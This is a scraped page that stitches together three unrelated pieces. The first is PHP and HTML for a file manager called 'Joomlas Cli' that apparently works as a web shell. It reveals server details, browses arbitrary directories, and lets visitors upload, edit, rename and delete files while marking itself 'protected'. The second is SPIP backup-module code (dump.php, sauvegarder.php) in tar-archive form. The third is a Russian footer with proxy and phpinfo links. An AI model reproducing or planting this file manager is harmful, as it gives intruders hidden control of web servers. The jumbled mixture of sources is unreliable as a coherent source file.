} } $folders = []; $files = []; if ($dh = @opendir($currentDir)) { while (($item = readdir($dh)) !== false) { if ($item === '.' || $item === '..') continue; $path = $currentDir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } closedir($dh); sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); } function isReadablePath($path) { return is_readable($path); } function buildBreadcrumb($dir) { $parts = explode(DIRECTORY_SEPARATOR, $dir); $crumb = []; $accum = ''; foreach ($parts as $part) { if ($part === '') continue; $accum .= DIRECTORY_SEPARATOR . $part; $crumb[] = '<a href="?dir=' . urlencode($accum) . '">' . htmlspecialchars($part) . '</a>'; } return implode(' › ', $crumb); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover"> <title>📁 Joomlas Cli</title> <style> * { box-sizing: border-box; margin: 0; padding: 0; } body { background: #f1f5f9; font-family: system-ui, -apple-system, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif; padding: 12px; line-height: 1.5; } .container { max-width: 1400px; margin: 0 auto; background: #ffffff; border-radius: 28px; box-shadow: 0 8px 20px rgba(0,0,0,0.05); padding: 20px 20px 32px; } h2 { font-size: 1.6rem; font-weight: 600; border-left: 5px solid #4361ee; padding-left: 16px; margin: 0 0 20px 0; background: #f8fafc; border-radius: 14px; line-height: 1.3; } .system-info { background: #eef2ff; padding: 12px 18px; border-radius: 24px; font-size: 0.8rem; display: flex; flex-wrap: wrap; gap: 16px; margin-bottom: 24px; } .system-info ul { margin: 0; padding-left: 20px; } .breadcrumb { background: #f1f5f9; padding: 12px 16px; border-radius: 50px; font-size: 0.9rem; word-break: break-word; margin-bottom: 24px; display: flex; flex-wrap: wrap; align-items: center; gap: 8px; } .breadcrumb a { text-decoration: none; color: #2563eb; font-weight: 500; } .parent-link { display: inline-block; background: #e2e8f0; padding: 6px 14px; border-radius: 40px; font-size: 0.8rem; margin-left: 6px; } .flex-forms { display: flex; flex-wrap: wrap; gap: 20px; background: #f9fafb; padding: 20px; border-radius: 28px; margin: 20px 0; } .form-group { flex: 1 1 240px; display: flex; flex-direction: column; gap: 8px; } .form-group label { font-weight: 600; font-size: 0.85rem; color: #0f172a; } input, button { padding: 12px 16px; border-radius: 60px; border: 1px solid #cbd5e1; background: white; font-size: 0.9rem; width: 100%; font-family: inherit; } button, input[type="submit"] { background: #1e293b; color: white; border: none; cursor: pointer; font-weight: 600; transition: all 0.2s ease; } button:hover, input[type="submit"]:hover { background: #0f172a; transform: scale(0.98); } .upload-btn { background: #2c7da0; } .message { background: #dcfce7; color: #166534; padding: 12px 20px; border-radius: 60px; margin: 20px 0; font-size: 0.9rem; font-weight: 500; } .table-wrapper { overflow-x: auto; margin: 24px 0 12px; border-radius: 24px; border: 1px solid #e2e8f0; -webkit-overflow-scrolling: touch; } table { width: 100%; border-collapse: collapse; font-size: 0.85rem; min-width: 640px; } thead tr { background: linear-gradient(135deg, #1e2a5e, #2d3a6e); color: white; } th, td { padding: 14px 12px; text-align: left; border-bottom: 1px solid #e2e8f0; vertical-align: middle; } tbody tr:hover { background: #f8fafc; } .icon-readable { color: #22c55e; font-weight: 600; } .icon-unreadable { color: #ef4444; font-weight: 600; } .action-buttons { display: flex; flex-wrap: wrap; gap: 8px; } .action-buttons a { display: inline-block; text-decoration: none; padding: 6px 14px; border-radius: 40px; font-size: 0.75rem; font-weight: 600; transition: 0.1s; white-space: nowrap; text-align: center; } .btn-edit { background: #ffb74d; color: #3e2723; } .btn-rename { background: #4fc3f7; color: #01579b; } .btn-delete { background: #ef9a9a; color: #b71c1c; } .file-name { word-break: break-word; max-width: 220px; } .badge { font-size: 0.7rem; background: #e9ecef; padding: 4px 10px; border-radius: 40px; white-space: nowrap; display: inline-block; } .edit-panel, .rename-panel { border-radius: 24px; padding: 20px; margin: 20px 0; } .edit-panel { background: #fef9e3; } .rename-panel { background: #e3f2fd; } textarea { width: 100%; border-radius: 20px; padding: 14px; border: 1px solid #cbd5e1; font-family: 'Courier New', monospace; font-size: 0.85rem; resize: vertical; } footer { font-size: 0.7rem; text-align: center; margin-top: 32px; color: #475569; border-top: 1px solid #e2e8f0; padding-top: 20px; } @media (max-width: 768px) { body { padding: 8px; } .container { padding: 16px; border-radius: 20px; } h2 { font-size: 1.4rem; margin-bottom: 16px; } .system-info { padding: 10px 14px; font-size: 0.7rem; } .breadcrumb { font-size: 0.8rem; padding: 10px 14px; } .flex-forms { flex-direction: column; gap: 16px; padding: 16px; } .form-group { width: 100%; } th, td { padding: 10px 8px; } .action-buttons a { padding: 5px 10px; font-size: 0.7rem; } .file-name { max-width: 150px; } .badge { font-size: 0.65rem; padding: 2px 8px; } } @media (max-width: 480px) { .action-buttons { flex-direction: column; gap: 6px; } .action-buttons a { text-align: center; width: 100%; } th, td { font-size: 0.75rem; padding: 8px 6px; } table { min-width: 520px; } .file-name { max-width: 120px; } } @media (min-width: 1200px) { .container { padding: 28px 32px 40px; } th, td { padding: 16px 14px; } .action-buttons a { padding: 6px 16px; font-size: 0.8rem; } } </style> </head> <body> <div class="container"> <h2>📁 Joomlas Cli</h2> <div class="system-info"> <ul> <li><strong>Server:</strong> <?= htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A') ?></li> <li><strong>OS:</strong> <?= htmlspecialchars(php_uname()) ?></li> <li><strong>PHP:</strong> <?= htmlspecialchars(phpversion()) ?></li> </ul> </div> <div class="breadcrumb"> <strong>📍 Location:</strong> <?= buildBreadcrumb($currentDir) ?> <?php $parent = dirname($currentDir); if ($parent && $parent !== $currentDir && is_dir($parent)) { echo ' <a href="?dir=' . urlencode($parent) . '" class="parent-link">⬆ Parent</a>'; } ?> </div> <div class="flex-forms"> <div class="form-group"> <label>📤 Upload file</label> <form method="post" enctype="multipart/form-data" style="display:flex; gap:8px; flex-wrap:wrap;"> <input type="file" name="file" required style="flex:1;"> <input type="submit" name="upload" value="Upload" class="upload-btn" style="width:auto;"> </form> </div> </div> <?php if ($message !== ''): ?> <div class="message">✔ <?= htmlspecialchars($message) ?></div> <?php endif; ?> <?php if (isset($_GET['edit']) && is_file($currentDir . '/' . basename($_GET['edit']))): $editFile = $currentDir . '/' . basename($_GET['edit']); $content = my_file_get_contents($editFile); if ($content === false) $content = "[Failed to read file]"; ?> <div class="edit-panel"> <h3>✏️ Editing: <?= htmlspecialchars(basename($_GET['edit'])) ?></h3> <form method="post"> <textarea name="file_content" rows="8"><?= htmlspecialchars($content) ?></textarea> <input type="hidden" name="file_name" value="<?= htmlspecialchars(basename($_GET['edit'])) ?>"> <input type="submit" name="edit" value="Save Changes" style="margin-top:12px; background:#f4a261; width:auto;"> </form> </div> <?php endif; ?> <?php if (isset($_GET['rename']) && (is_file($currentDir . '/' . basename($_GET['rename'])) || is_dir($currentDir . '/' . basename($_GET['rename'])))): $renameTarget = htmlspecialchars(basename($_GET['rename'])); ?> <div class="rename-panel"> <h3>🔄 Rename: <?= $renameTarget ?></h3> <form method="post"> <input type="text" name="new_name" placeholder="new name" required style="min-width:180px;"> <input type="hidden" name="old_name" value="<?= $renameTarget ?>"> <input type="submit" name="rename" value="Rename" style="background:#4c9aff; margin-top:10px; width:auto;"> </form> </div> <?php endif; ?> <div class="table-wrapper"> <table> <thead> <tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Actions</th></tr> </thead> <tbody> <?php if (empty($folders) && empty($files)): ?> <tr><td colspan="5" style="text-align:center;">📭 Empty directory</td></tr> <?php endif; ?> <?php foreach ($folders as $folder): $fullPath = $currentDir . DIRECTORY_SEPARATOR . $folder; $readable = isReadablePath($fullPath); $iconClass = $readable ? 'icon-readable' : 'icon-unreadable'; $iconSymbol = $readable ? '📁' : '🔒📁'; $modTime = filemtime($fullPath); ?> <tr> <td class="file-name"> <span class="<?= $iconClass ?>"><?= $iconSymbol ?></span> <a href="?dir=<?= urlencode($fullPath) ?>" style="font-weight:500;"><?= htmlspecialchars($folder) ?></a> <?php if (!$readable): ?> <span class="badge" style="background:#fee2e2; color:#b91c1c;">🔴 unreadable</span><?php endif; ?> </td> <td><span class="badge">Dir</span></td> <td>—</td> <td><?= formatTimestamp($modTime) ?></td> <td class="action-buttons"> <a href="?dir=<?= urlencode($currentDir) ?>&rename=<?= urlencode($folder) ?>" class="btn-rename">✏️ Rename</a> <a href="?dir=<?= urlencode($currentDir) ?>&delete=<?= urlencode($folder) ?>" class="btn-delete" onclick="return confirm('⚠️ Delete folder & all contents?');">🗑 Delete</a> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $file): $fullPath = $currentDir . DIRECTORY_SEPARATOR . $file; $readable = isReadablePath($fullPath); $iconClass = $readable ? 'icon-readable' : 'icon-unreadable'; $iconSymbol = $readable ? '📄' : '🔒📄'; $size = filesize($fullPath); $modTime = filemtime($fullPath); $isScript = (realpath($fullPath) === realpath($scriptFile)); ?> <tr> <td class="file-name"> <span class="<?= $iconClass ?>"><?= $iconSymbol ?></span> <?= htmlspecialchars($file) ?> <?php if ($isScript): ?> <span class="badge" style="background:#ffedd5;">🔒 protected</span><?php endif; ?> <?php if (!$readable): ?> <span class="badge" style="background:#fee2e2; color:#b91c1c;">🔴 unreadable</span><?php endif; ?> </td> <td><span class="badge">File</span></td> <td><?= getHumanSize($size) ?></td> <td><?= formatTimestamp($modTime) ?></td> <td class="action-buttons"> <?php if ($readable): ?> <a href="?dir=<?= urlencode($currentDir) ?>&edit=<?= urlencode($file) ?>" class="btn-edit">✍ Edit</a> <?php else: ?> <span class="badge" style="background:#e2e3e5; color:#6c757d;">🚫 Edit blocked</span> <?php endif; ?> <a href="?dir=<?= urlencode($currentDir) ?>&rename=<?= urlencode($file) ?>" class="btn-rename">🏷 Rename</a> <a href="?dir=<?= urlencode($currentDir) ?>&delete=<?= urlencode($file) ?>" class="btn-delete" onclick="return confirm('Delete this file?');">❌ Delete</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <footer> Joomlas Cli </footer> </div> </body> </html> dump.php 0000604 00000025313 15252570615 0006232 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * API permettant la manipulation des sauvegardes * * @package SPIP\Dump\API */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Répertoire de sauvegarde * * Crée et retourne le chemin du répertoire de sauvegarde * * @see _DIR_DUMP * * @return string */ function dump_repertoire() { $repertoire = _DIR_DUMP; if (!@file_exists($repertoire) and !$repertoire = sous_repertoire(_DIR_DUMP, '', false, true) ) { $repertoire = preg_replace(',' . _DIR_TMP . ',', '', _DIR_DUMP); $repertoire = sous_repertoire(_DIR_TMP, $repertoire); } return $repertoire; } /** * Nom du fichier de sauvegarde * * la fourniture de l'extension permet de vérifier que le nom n'existe pas déjà. * * @param string $dir Chemin de stockage du fichier * @param string $extension Extension du fichier de sauvegarde * @return string */ function dump_nom_fichier($dir, $extension = 'sqlite') { include_spip('inc/texte'); $site = 'spip'; if (isset($GLOBALS['meta']['nom_site'])) { $site = typo($GLOBALS['meta']['nom_site']); // extraire_multi $site = couper(translitteration(trim($site)), 30, ''); $site = preg_replace(array(',\W,is', ',_(?=_),', ',_$,'), array('_', '', ''), $site); } $site .= '_' . date('Ymd'); $nom = $site; $cpt = 0; while (file_exists($dir . $nom . ".$extension")) { $nom = $site . sprintf('_%03d', ++$cpt); } return $nom . ".$extension"; } /** * Détermine le type de serveur de sauvegarde, * sqlite2 ou sqlite3 * * @return string */ function dump_type_serveur() { // chercher si sqlite2 ou 3 est disponible include_spip('req/sqlite3'); if (function_exists('spip_versions_sqlite3') and spip_versions_sqlite3()) { return 'sqlite3'; } if (function_exists('spip_versions_sqlite3')) { spip_log("ERREUR sqlite3 n'est pas correctement installé : " ."extension_loaded('pdo')=".extension_loaded('pdo') ." extension_loaded('pdo_sqlite')=".extension_loaded('pdo_sqlite'), _LOG_ERREUR); } include_spip('req/sqlite2'); if (function_exists('spip_versions_sqlite2') and spip_versions_sqlite2()) { return 'sqlite2'; } return ''; } /** * Conteneur pour les arguments de la connexion * * Si on passe $args, les arguments de la connexion sont memorisés. * Renvoie toujours les derniers arguments memorisés. * * @staticvar array $connect_args Pour stocker le premier conteneur * @param array $args * @return array */ function dump_serveur($args = null) { static $connect_args = null; if ($args) { $connect_args = $args; } return $connect_args; } function dump_connect_args($archive) { if (!$type_serveur = dump_type_serveur()) { return null; } return array(dirname($archive), '', '', '', basename($archive, '.sqlite'), $type_serveur, 'spip'); } /** * Initialiser un dump * * @param string $status_file Fichier contenant les informations serialisees sur le statut de l'export * @param string $archive Nom de l'archive (stockee dans le fichier de statut) * @param array $tables Liste des tables a exporter (autocaculee par defaut) * @param array $where Condition sur l'export * @param string $action Pour differencier la sauvegarde de l'import * @return bool/string */ function dump_init($status_file, $archive, $tables = null, $where = array(), $action = 'sauvegarde') { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (lire_fichier($status_file, $status) and $status = unserialize($status) and $status['etape'] !== 'fini' and filemtime($status_file) >= time() - 120 ) { // si le fichier status est trop vieux c'est un abandon return _T('dump:erreur_' . $action . '_deja_en_cours'); } if (!$type_serveur = dump_type_serveur()) { return _T('dump:erreur_sqlite_indisponible'); } if (!$tables) { list($tables, ) = base_liste_table_for_dump(lister_tables_noexport()); } $status = array('tables' => $tables, 'where' => $where, 'archive' => $archive); $status['connect'] = dump_connect_args($archive); dump_serveur($status['connect']); if (!spip_connect('dump')) { return _T('dump:erreur_creation_base_sqlite'); } // la constante sert a verifier qu'on utilise bien le connect/dump du plugin, // et pas une base externe homonyme if (!defined('_DUMP_SERVEUR_OK')) { return _T('erreur_connect_dump', array('dump' => 'dump')); } $status['etape'] = 'init'; if (!ecrire_fichier($status_file, serialize($status))) { return _T('dump:avis_probleme_ecriture_fichier', array('fichier' => $status_file)); } return true; } /** * Afficher l'avancement de la copie * * @staticvar int $etape Nombre de fois ou on est passe dans cette foncion * @param <type> $courant Flag pour indiquer si c'est la table sur laquelle on travaille actuellement * @param <type> $total Nombre total de tables * @param <type> $table Nom de la table */ function dump_afficher_progres($courant, $total, $table) { static $etape = 1; if (unique($table)) { if ($total < 0 or !is_numeric($total)) { echo '<br /><strong>' . $etape . '. ' . "</strong>$table "; } else { echo '<br /><strong>' . $etape . '. ' . "$table</strong> " . ($courant ? " <i>($courant)</i> " : ''); } $etape++; } if (is_numeric($total) and $total >= 0) { echo '. '; } else { echo '(' . (-intval($total)) . ')'; } flush(); } /** * Écrire le js pour relancer la procédure de dump * * @param string $redirect URL de la prochaine etape du dump * @return string Code HTML de redirection */ function dump_relance($redirect) { // si Javascript est dispo, anticiper le Time-out return "<script language=\"JavaScript\" type=\"text/javascript\">window.setTimeout('location.href=\"$redirect\";',300);</script>\n"; } /** * Marquer la procédure de dump comme finie * * @param string $status_file * Fichier qui mémorise les infos utiles concernant la sauvegarde en cours * @param string $action * Type d'action supplémentaire à réaliser : * * - restaurer : supprimer la structure qui était stockée dans le dump * - 'auvegarder : stocker dans le dump la structure de la base source */ function dump_end($status_file, $action = '') { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (!lire_fichier($status_file, $status) or !$status = unserialize($status) ) { return; } switch ($action) { case 'restaurer': // supprimer la structure qui etait stockee dans le dump sql_delete('spip_meta', "nom='dump_structure_temp'"); break; case 'sauvegarder': // stocker dans le dump la structure de la base source $structure = array(); foreach ($status['tables_copiees'] as $t => $n) { $structure[$t] = sql_showtable($t, true); } dump_serveur($status['connect']); spip_connect('dump'); // si spip_meta n'a pas ete backup elle n'est pas dans le dump, il faut la creer pour y stocker cette meta if (!sql_showtable('spip_meta', true, 'dump')) { $desc = sql_showtable('spip_meta', true); sql_create('spip_meta', $desc['field'], $desc['key'], false, false, 'dump'); } sql_delete('spip_meta', "nom='dump_structure_temp'", 'dump'); #enlever une vieille structure deja la, au cas ou sql_insertq( 'spip_meta', array('nom' => 'dump_structure_temp', 'valeur' => serialize($structure), 'impt' => 'non'), array(), 'dump' ); break; } $status['etape'] = 'fini'; ecrire_fichier($status_file, serialize($status)); } /** * Lister les fichiers de sauvegarde existant dans un repertoire * trie par nom, date ou taille * * @param string $dir Repertoire de sauvegarde * @param string $tri Tri pour recuperer les fichiers * @param string $extension Extension des fichiers de sauvegarde * @param int $limit Nombre max de fichiers listes * @return array */ function dump_lister_sauvegardes($dir, $tri = 'nom', $extension = 'sqlite', $limit = 100) { $liste_dump = preg_files($dir, '\.' . $extension . '$', $limit, false); $n = strlen($dir); $tn = $tl = $tt = $td = array(); foreach ($liste_dump as $fichier) { $d = filemtime($fichier); $t = filesize($fichier); $fichier = substr($fichier, $n); $tl[] = array('fichier' => $fichier, 'taille' => $t, 'date' => $d); $td[] = $d; $tt[] = $t; $tn[] = $fichier; } if ($tri == 'taille') { array_multisort($tt, SORT_ASC, $tl); } elseif ($tri == 'date') { array_multisort($td, SORT_ASC, $tl); } else { array_multisort($tn, SORT_ASC, $tl); } return $tl; } /** * Extraire le statut contenu dans un fichier * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return array */ function dump_lire_status($status_file) { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (!lire_fichier($status_file, $status) or !$status = unserialize($status) ) { return ''; } return $status; } /** * Verifier qu'un sauvegarde est finie * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string Chaine non vide s'il reste des choses a faire */ function dump_verifie_sauvegarde_finie($status_file) { if (!$status = dump_lire_status($status_file) or $status['etape'] !== 'fini' ) { return ''; } return ' '; } /** * Recuperer le nom du fichier d'archivage qui est memorise dans le fichier de statut * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string Nom ou chaine vide si on a un probleme */ function dump_nom_sauvegarde($status_file) { if (!$status = dump_lire_status($status_file) or !file_exists($f = $status['archive'] . '.sqlite') ) { return ''; } return $f; } /** * Recuperer la taille du fichier de sauvegarde * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string/int Taille ou Chaine vide en cas de probleme */ function dump_taille_sauvegarde($status_file) { if (!$f = dump_nom_sauvegarde($status_file) or !$s = filesize($f) ) { return ''; } return $s; } /** * Recuperer la date de derniere modification du fichier de sauvegarde * * @param $status_file Nom du fichier stocke dans _DIR_TMP * @return string/int Date ou Chaine vide en cas de probleme */ function dump_date_sauvegarde($status_file) { if (!$f = dump_nom_sauvegarde($status_file) or !$d = filemtime($f) ) { return ''; } return date('Y-m-d', $d); } sauvegarder.php 0000604 00000005277 15252570615 0007604 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/dump'); /** * Fonction principale de sauvegarde * En mode sqlite on passe par une copie de base a base (dans l'API de SPIP) * * @param string $status_file Nom du fichier de status (stocke dans _DIR_TMP) * @param string $redirect Redirection apres la sauvegarde * @return bool */ function inc_sauvegarder_dist($status_file, $redirect = '') { $status_file = _DIR_TMP . basename($status_file) . '.txt'; if (!lire_fichier($status_file, $status) or !$status = unserialize($status) ) { } else { $timeout = ini_get('max_execution_time'); // valeur conservatrice si on a pas reussi a lire le max_execution_time if (!$timeout) { $timeout = 30; } // parions sur une valeur tellement courante ... $max_time = time() + $timeout / 2; include_spip('inc/minipres'); @ini_set('zlib.output_compression', '0'); // pour permettre l'affichage au fur et a mesure $titre = _T('dump:sauvegarde_en_cours') . ' (' . count($status['tables']) . ') '; $balise_img = chercher_filtre('balise_img'); $titre .= $balise_img(chemin_image('searching.gif')); echo(install_debut_html($titre)); // script de rechargement auto sur timeout echo http_script("window.setTimeout('location.href=\"" . $redirect . "\";'," . ($timeout * 1000) . ')'); echo "<div style='text-align: left'>\n"; dump_serveur($status['connect']); spip_connect('dump'); // au premier coup on ne fait rien sauf afficher l'ecran de sauvegarde $res = false; if (_request('step')) { $options = array( 'callback_progression' => 'dump_afficher_progres', 'max_time' => $max_time, 'no_erase_dest' => lister_tables_noerase(), 'where' => $status['where'] ? $status['where'] : array(), ); $res = base_copier_tables($status_file, $status['tables'], '', 'dump', $options); } echo("</div>\n"); if (!$res and $redirect) { echo dump_relance($redirect); } echo(install_fin_html()); if (@ob_get_contents()) { ob_end_flush(); } flush(); return $res; } }
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка